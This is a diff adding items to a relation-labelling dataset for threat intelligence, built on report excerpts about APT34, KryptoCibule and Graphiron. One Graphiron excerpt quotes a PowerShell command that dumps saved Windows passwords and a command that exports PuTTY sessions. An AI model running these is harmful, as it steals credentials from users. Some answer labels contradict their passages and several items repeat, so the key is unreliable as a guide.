'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAPT34\n### Target Entity: EWS\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nSaitama\n### Target Entity: .Net backdoor\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>variant-of</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nuloz.to\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKryptoCibule\n### Target Entity: uloz.to\n### Possible Relationship Labels:\n['communicates-with', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>communicates-with</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKryptoCibule\n### Target Entity: Czech Republic\n### Possible Relationship Labels:\n['originates-from', 'targets', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKryptoCibule\n### Target Entity: Slovakia\n### Possible Relationship Labels:\n['originates-from', 'targets', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAvast\n### Target Entity: Czech Republic\n### Possible Relationship Labels:\n['located-at', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAvast\n### Target Entity: Slovakia\n### Possible Relationship Labels:\n['located-at', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAVG\n### Target Entity: Slovakia\n### Possible Relationship Labels:\n['located-at', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKryptoCibule\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['variant-of', 'uses', 'downloads', 'drops', 'controls', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>variant-of</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKryptoCibule\n### Target Entity: Slovakia\n### Possible Relationship Labels:\n['originates-from', 'targets', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKryptoCibule\n### Target Entity: Czech Republic\n### Possible Relationship Labels:\n['originates-from', 'targets', 'is not related to', 'not sure']\n### Text Passage:\nTargets\nAccording to ESET telemetry (shown in Figure 3), the malware seems to target mostly users in Czechia (the Czech Republic) and Slovakia. This reflects the user base of the site on which the infected torrents are found.\n_Figure 3. In our telemetry data, over 85% of detections were located in Czechia and Slovakia_\nAlmost all the malicious torrents were available on uloz.to; a popular file sharing site in Czechia and Slovakia (see Figure 4). We'll explain how these torrents are used to spread KryptoCibule in the next section.\n_Figure 4. One of the malicious torrents on uloz.to_\nAs detailed in the _Anti-detection and anti-analysis techniques_ section below, KryptoCibule specifically checks for ESET, Avast, and AVG endpoint security products; ESET is headquartered in Slovakia, while the other two are owned by Avast, which is headquartered in Czechia.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nMicrosoftOfficeDashboard.exe\n### Target Entity: Graphiron\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nOfficeTemplate.exe\n### Target Entity: Graphiron\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, 